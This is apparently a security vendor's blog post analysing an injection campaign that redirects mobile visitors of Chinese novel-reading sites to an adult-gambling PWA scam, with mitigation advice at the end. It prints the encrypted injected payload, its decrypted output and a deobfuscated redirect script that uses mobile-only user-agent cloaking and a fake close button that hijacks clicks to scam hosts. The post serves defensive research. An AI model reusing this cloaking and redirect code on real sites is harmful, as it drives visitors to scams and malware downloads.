Skip to main content
Blog
Attacks Blog

Chinese Adult Scam Targets Mobile Users Through PWA

We've identified a fresh injection campaign abusing third-party JavaScript to redirect users.

May 20, 2025 5 min read
pwa-injection-cover-image
Table of Contents

TL;DR: PWA overlay redirect on mobile-only user-agent filter

  • The PWA is an attack surface: Progressive Web Apps get treated like an in-house UX story, not an attack surface. This campaign turned the PWA into the landing page for an adult gambling scam, precisely because nobody in client-side security was watching that door.
  • Mobile-only, barely flagged: The injected loader from xxsmad6[.]com fired only on mobile user agents, dropped an overlay image from toutiaoimg[.]com, and pushed victims to xjdm166[.]com; two samples were flagged by just 3 out of 63 and 3 out of 65 engines on VirusTotal. cside monitors runtime script behavior on real visitors, not desktop crawlers the attacker filters out.
  • Test what mobile sees: If your site loads any third-party script and serves mobile traffic, test what a phone in Asia actually sees this week. If desktop is all you check, you are inspecting the version the attacker built for you to see.

Short on time? See cside's in-browser Magecart and skimmer blocking. It covers everything below in one deployment.

We've identified a fresh campaign abusing third-party JavaScript injections to redirect mobile users to a Chinese adult-content PWA scam.

Example (NSFW): hxxps://xjdm166[.]com/html/#/i/home

While the payload itself is nothing new (yet another adult gambling scam), the delivery method stands out. The malicious landing page is a full-blown Progressive Web App (PWA), likely aiming to retain users longer and bypass basic browser protections.

PWAs are often ignored within the client-side security space. Yet, any browser-based delivery is susceptible to these kinds of vulnerabilities.

Overview of the PWA-based adult content scam targeting mobile users

What's happening:

  1. Mobile-only targeting: the script filters out desktop users and focuses attacks on mobile devices.
  2. Viewport script injection: if the compromised page lacks a viewport meta tag, the script injects one to force proper mobile rendering.
  3. Ad overlay injection: a dark semi-transparent overlay appears, an image fetched from toutiaoimg[.]com acts as the main visual, and a close button image is added that triggers a redirect instead of dismissing the overlay.
  4. Click hijacking: clicking either the main image or the fake close button opens the PWA scam site in a new tab, a classic bait-and-switch.
  5. External resources loaded:
  • xxsmad6[.]com (main loader and assets)
  • xjdm166[.]com (final landing scam site)
  • toutiaoimg[.]com (disguising as a legitimate image host)

PWAs attacks are on the rise

  • The use of PWAs suggests attackers are experimenting with more persistent phishing methods.
  • The mobile-only focus allows them to evade many detection mechanisms.
  • This is yet another variation of the Chinese adult gambling injection campaigns we've seen in recent months, but with a new delivery tactic.

Compromised websites: disguised as novel reading platforms

<title>海棠文学网_好看的小说_小说排行榜_最全的小说阅读网</title>
<title>神马小说网 - 最好看的免费小说阅读网</title>
<title>78小说网_书友最值得收藏!</title>
<title>寂寞书屋 - 纯净阅读,无弹窗广告干扰</title>

Translated:

<title>Haitang Literature Network_Good novels_Novel rankings_The most comprehensive novel reading network</title>

<title>Shenma Novel Network - The best free novel reading network</title>

<title>78 Novel Network_Book friends are most worthy of collection!</title>

<title>Lonely Book House - Pure reading, no pop-up ads</title>
Fake reading-app websites used to deliver the script injection attack

In the old TTP, the following websites faced script injection attacks:

Injected script found on the affected websites in the older attack variant
old TTP

In the new TTP we found the code is encrypted :

$('#htmlContenthtml').html(x("uhkV3gCCBQyiiK\u002bNG9JE\u002b9hHSIODkYZ1ut5A6t6ZN1CzUGIQV0q\u002bDif4omYaPwky489u93Bg0A3mGPnKRNpagzetPGDoU\u002bqgg9XIwBFbNm0peuBVpJNWUyEo9A9jMb1ww\/lJPCvSd7udl39atb6SGz7uyslJZ9dasE\/vd\u002bHndr\u002bcaWLMw1gWIixKSIgpVmONGvK6CsRol9Y1q00W1XLRuBVoaGY2IKqMcfJJGpGwBtUQMLaxY5XZIrVLu10GdxWMXBMyvnghS\/EdP6hJtLE\/mfoGAf8zerXqTEKiTvTDKfG7CC7icpdf81fSEKdeh8AfSrHR48S1AagUWx0R6m5MFsm8BGTlJIzMUHzp9KJ\u002bI8Mnop9cH14cOgn2ogrgjDcmTH03ing4oZ\u002bWBiQlDGjMJAIEgYILMURWJrJBh\/OSYaiIcH0BaDem3\/cZ052IkV61YJFeyZqYEkIEd156Mednuct8dZ840FTbhhLlE43O0BpNKgQYCTKuC5HNXAQMihQXRwT1\u002bQidCflMlPdqiWbnNg5aFKTqF3Sp99OwGCGzzTOb55f\u002bmkHhqf4Lkx5JocptlF3RqE2LU8IAs9cxAGJeFOd\/\/iV89tqUPrEm6gZ9BUIcXDNmA39xIpn1gd2xnptU4GicPWmPhYgcwaZZqWKZdwcdDX\/a8l7JFiziVHrbjHq0D\/zLRH6DG2Cae6VPjbSsDBVnSwGV1eyi2xtEBEIjw3crQvNxDlEXPMAye16PvdqtoQSlhWbCuaehEOIzYpThGA6ar8elsWNA25IPOD2q08fb1XDkVY9WwgQhAStzAVi4Nkmr\u002b19472m27SXwFgQG\u002bL9qIvldGETi2MTAg7I4pTFiNdhCG7JrHVnjVLqWerIEs2Tfg6wc2Viw0jmIQHli0m79BvuN46pk\/kpNz8gbABrFb4pLA1FSXH\/bNG4KLt9O64bYUPAd7wTUv3Q47k1PmXTSwhTH\/wcFZagKEjoeE9M\/79a\u002bDIzPe5LnwBKxs\/DkktiZ9r0NokvYXutby9z2WjmjToVmDv03iD5O3wAF\/22sAzgtvVMAunEAy8nvDiuGRC5kko\u002bbjZrWiq6cMmCe6EhCcM3mSdHxj8pVy7\u002b5HLkDxqDMLBktDP1kdcMlwLlH9CIF6jzAuIF4WSEvaMAQXUHSgUJjyopdP1ApAaOgJBdb6rHxHrFYXsK8CscgkPCKb\u002bLoDyK\/X3MAA2TbqFPlEwCZv6YdtUEvabj\u002bUpFjxSfbqXnmKzebamYKrRiVkv\u002bOEYAa\u002barOSCx2e2M6sBjF5CpEuP9BWhs2f3kcQXtrf9OA\/jb69Vg6vl7U6kI\/PK92JQDHQsbMANMkICDTqU39Rv9TlRJU\u002bTerkvwUkJ\u002bcUeYr8C7HreKG6mIkneW2Dg6T\u002bDh792jOWjhKY\u002bgdov\/5cRJSRrk9Qn9f9n1BDvMzX\u002b\/qjuxUKz7pb7Jn9tuddc7HpsKV\/mvYHTYu\/hdqd7BtkowWidNN26gXWUbi3wKIXMGjzEI5LvjBIZQe7RB2oIEoWt5GxxLJXfo4LDQLWWhVPIgL5O0O7JBx51wWYCC\/35AhdojHKz\/W9k\/WkCgCiQ8bRbV5cnOfuHt\u002bEKLKZPTUdhveHlSVQxhiqx5P0\/y7NitzNHn17pfZtdtg9EeA8NNDdM50pGqzcY9Gq6UxzF5mvb\u002bKFPNIFhaPqSxU2bwk\u002bJxHyCX9PhmN8NoJao2sFgwrTMsPzXbpGGXk4moDOsO\/gEGIcv\/Lan5sOh1Sdk\u002bbBN0J4Et4bDzkcKqsRXd68TsRF\/4QL18N4mwdAeBzIgIr9oKSVN587pUEQ8cMWmMF1gO8oPsfHf2OxlyOq1ynp16QCDGVm7l46fzLCzTOg3sWIPWwmG9aVVTKD\/Rb5hIgJAb9nzF4dR8IXuJNgCsSswOPcDPmBS9cUoCCEfqtbQxHbwsV46r8ER28ZfzG9O31Z\/67FEmE4\u002bKS2\/nmHhS7C7LbhwfhEBhphphDngH9qjh1UdYU\/9eWGAdPRFnUJZPuUaPqb7W19ZJEigC9C9hhNZ\/lN3n2X2D\/mIsOLkr1S37gyrgTIheSGauTKf4JXwpu\/R9fHcO07uys7fQ6EAFVq6lTwDmNu3dX6RHlzY2f86vREVgYNIfOxgc\u002bZjqiFa0lyk3gV63G5NC\u002bfQmseG8ja9rAAQ\u002bvzzShhHtud4fVdAvPAafGCiGOi3vQQN7eHlFvkSKk08xkUdyApOzDyEp4VifnWEasTdRG2EtFd0\u002bteLPsnn\/Ws2RGEUhmo\u002bH0NCvybejA5SZH2xSyXCI6vzCXvEdXxVI5r4F811zdkG3dQXnJzyRTtz18EOpWOjWiCwIo\u002beK76g85y1AxsfvClDs1hHV1Fc452TbYnLIzB\/8D9BivBY0xJr3AEj9lpT8yMOY5aB0XvYcPAEnirKmILBYMH653DQ43Hz\/FkZjiFQzuNRUvD4FeBTLClcF4TI1abk7fFk1PdRbNdF18IXcudo7nus0oPM\u002bJmORxzD3jpYfBxxS2pG\/kIcZoalbFXyKZtE245MYCJdO9DoSRwLxTZ06lAjXQYxzht2CabUKVR7LnPN1UHduG9m7RxHCGX3EBQftz6nrlSfSn25VAknMD\/odK1WLR35OEV5HZA2OYUMJvNddB5Bn1UlEAtojd38xrNnja\u002bArC82AVJW7SZRlEKGYqn8zahGjEk9Dl7duhzPqkb\/x9\u002bBPuhCSNR6x5iuV0BOltS3KDAhIHWgcr\/XRQpiT7D6anVoberQm6gdz8sYAcw06Z7p2rhuL8HQmk5tZCRDJ2e6Gd91pGSn38fQvmTXkNC3mAqbH\u002b63HBtF9CnG76U6MX3qOhHxW3eLBur9WmlWJ0hAej4p5r3LBxJ2W8bTk322bB6n48WYgYOU4H0Xr\/QKZlbp0a10iOViF\/joR8n0CF5MDJr4JCAm4HSt7oVksigTAePh3hRt\u002b3Xoq0Znm3Ze46XvPr3JPZ9cUNpB\u002bjVSWztX41j0fzBCowNTAMDFYMv7QJTFfISU5daCT2PJ4bjwEd7s8dbL4GkiZzsHjeU1Y27pYuZ5WcW\u002bIWeuX1NXRaFSOT4spx\/FijUaA4g5jRR6Qmx55m5Mf2vOUJ9itjVMqfGGtb\/UyvvoizfN\u002bVNpdPRSUlB17cXotygSPIFpki4\/Yr53w8CvmIyKNsg7i0yt2nnuhP59k70WUTmR5e2Or8HCRkX7y6H2pm0IZkD2vmJFvTbLCkb4cjRU2SM28gWFmoelBucFfbiDxKkPYMvJjJSTkg6WiGtd8hdF82og0\u002bXvxAjKwuDb23btRE\/kKFDgllFg==","encryptedDatastr","eIyX1RkLJ4dnkjWpsfuAWA=="));
Encrypted, obfuscated JavaScript payload injected into the pages

This code decrypts to:

<style type="text/css">
@media screen and (min-width:800px){.yl5{display:none;}}.yl5{width:100%;overflow:auto;background:#33343f;}.yl5 dd{float:left;width:20%;white-space:nowrap;overflow:hidden;padding:0;line-height:32px;margin-inline-start:0px;margin-bottom:0rem;}.yl5 dd li{line-height:30px;height:30px;overflow:hidden;text-align:center;border:1px solid #e5e5e5;background:#33343f;border-radius:1px;list-style:none;}.yl5 dd li a{font-size:18px;color:#f9ff00;}</style>
<div class="yl5">

<dd><li><a rel="external nofollow noopener" target="_blank" href="https://www.akav50.top/list/yn2k0ypd"><strong>视频I区</strong></a></li></dd>
<dd><li><a rel="external nofollow noopener" target="_blank" href="https://www.akav50.top/list/r42r7opq"><strong>视频E区</strong></a></li></dd>
<dd><li><a rel="external nofollow noopener" target="_blank" href="https://www.akav50.top/list/mqp10w2x"><strong>视频J区</strong></a></li></dd>
<dd><li><a rel="external nofollow noopener" target="_blank" href="https://www.akav50.top/list/z32x7npd"><strong>视频D区</strong></a></li></dd>
<dd><li><a rel="external nofollow noopener" target="_blank" href="https://www.akav50.top/list/1dpy76pv"><strong>视频P区</strong></a></li></dd>

<dd><li><a rel="external nofollow noopener" target="_blank" href="https://www.akav50.top/list/oq5dd058"><strong>视频F区</strong></a></li></dd>
<dd><li><a rel="external nofollow noopener" target="_blank" href="https://www.akav50.top/list/q5o9gx5w"><strong>视频Q区</strong></a></li></dd>
<dd><li><a rel="external nofollow noopener" target="_blank" href="https://www.akav50.top/list/l50dx72e"><strong>视频S区</strong></a></li></dd>
<dd><li><a rel="external nofollow noopener" target="_blank" href="https://www.akav50.top/list/32xdq1pd"><strong>视频W区</strong></a></li></dd>
<dd><li><a rel="external nofollow noopener" target="_blank" href="https://www.akav50.top/list/92qlr9pn"><strong>视频Y区</strong></a></li></dd>

<div class="mebty"><table border="1" width="100%" class="duilianpt" bgcolor="#ffffff" cellspacing="0" bordercolor="#FFFFFF" bordercolorlight="#FFFFFF" bordercolordark="#FFFFFF" cellpadding="4" style="text-align:center; background-color: #33343f;font-size: 16px;"><tbody><tr><td style="background-color: #33343f;"><a style="color: red;">AV VIP温馨提示:因运营商网络问题,若网站打不开,akav01.top-akav60.top总有一个能打开!</a></td></tr></tbody></table></div></div>

The injection flow

The attack starts with websites being injected with the following script:

javascript
CopyEdit
hxxps://xxsmad6[.]com/s.php?g=1&t=2&p=1388&i=
  • This script acts as the initial loader.
  • When the victim visits a compromised website from a mobile device, it triggers the redirect.
  • Visits from non-mobile devices (desktop, server crawlers) are ignored, reducing detection.

We're observing significant traffic to this domain, which suggests the campaign is widespread.

The payload script (javascript deobfuscation)

Here's a breakdown of the main injected code:

(function () {
  let flag = /Android|webOS|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini/i.test(navigator.userAgent);
  if(!flag){ return false; }

  // Ensure viewport for mobile rendering
  var gmate = document.getElementsByTagName('meta'), isviewport = 1;
  for(var i=0,len=gmate.length; i<len; i++){
    if(gmate[i] && gmate[i].getAttribute('name') == 'viewport'){ isviewport = 0; }
  }
  if(isviewport){
    var node = document.createElement('meta');
    node.content = 'width=device-width,initial-scale=1.0,maximum-scale=1.0,minimum-scale=1.0,user-scalable=no';
    node.name = 'viewport';
    document.getElementsByTagName('head')[0].insertBefore(node, head.firstChild);
  }

  // Fallback for missing body
  if(!document.body){
    document.write("<a id='_nobody' style='display: none'>none</a>");
  }

  var arand = Math.floor(Math.random() * 100000);

  var o = "<div id='"+arand+"' style='width:100%;background-color: rgba(0,0,0,.64);box-shadow: 0 -1px 1px rgba(0,0,0,.10);'>" +
            "<div style='position: relative;'>" +
              "<a href='https://xxsmad6.com' target='_blank'>" +
                "<img style='position: absolute;bottom: 0;left:0;display: none;' src='hxxps://xxsmad6[.]com/static/union/images/b-5.png'>" +
              "</a>" +
              "<img id='i"+arand+"' style='width: 100%;display: block;' src='hxxps://p3-sign.toutiaoimg[.]com/...' >" +
              "<img src='hxxps://xxsmad6[.]com/static/union/images/close.png' id='c"+arand+"' style='position:absolute;top:0;right:0;cursor:pointer;width:26px;height:26px;z-index:2147483647'>" +
            "</div>" +
          "</div>";
  document.write(o);

  document.getElementById("c"+arand).onclick = function() {
    window.open(("hxxps://xjdm166[.]com/html/?p=1388"), "_blank");
  };
  document.getElementById("i"+arand).onclick = function() {
    window.open(("hxxps://xjdm166[.]com/html/?p=1388"), "_blank");
  };
})();
Decrypted version of the injected JavaScript payload
Example of an adult content website

During the analysis we found some glitches in these web applications, using those we were able to find some hidden frames.

How the Ho ti website looks normally:

The Ho ti website displaying normally without the hidden frames
Uncompromised view of the website

Website with glitches of frames:

The same website glitching to reveal the injected hidden frames
Glitch reveals hidden frames

The injected URLs lead to adult fake adult websites trying to show it as well-know adult websites:

Fake adult websites impersonating well-known adult brands
Fake redirect page

It leads to a download for Android and Apple malware:

Malware download prompt for Android and Apple devices
Fake iOS

We have managed to get 2 samples detected by just 3 vendors over VirustTotal.

Mitigation & recommendations:

  • Review and sanitize third-party scripts. Focus on external inclusions you don't control.
  • Implement strict CSP (Content Security Policy) to reduce inline script execution.
  • Monitor your website's runtime behavior with a client-side security solution.
  • Be vigilant for any unexpected new meta tags, overlays, or external requests to domains you don't recognize.
Himanshu Anand
Software Engineer

I'm a software engineer and security analyst.

Monitor and Secure Your Third-Party Scripts

Gain full visibility and control over every script delivered to your users to enhance site security and performance.

Start free, or try Business with a 14-day trial.

cside dashboard interface showing script monitoring and security analytics
Related Articles
Book a demo

Want to walk through this with an engineer?

Thirty minutes, on your own site. Not a slide deck.

We'll show you:

Which third-party scripts are running on your site right now
Where you stand on PCI DSS 6.4.3 and 11.6.1
How much of your traffic is bots and AI agents

Rather just send a question?

Finding open slots…

Real humans only. We'd know.

Having trouble booking? Open scheduler in a new tab

What are you trying to solve?

Tell us in a line and we'll come back with something useful, not a generic pitch.

We usually help with:

Seeing which third-party scripts run on your site
PCI DSS 6.4.3 and 11.6.1 evidence
Bots, AI agents and account takeover

Prefer to just book a time? Pick a slot instead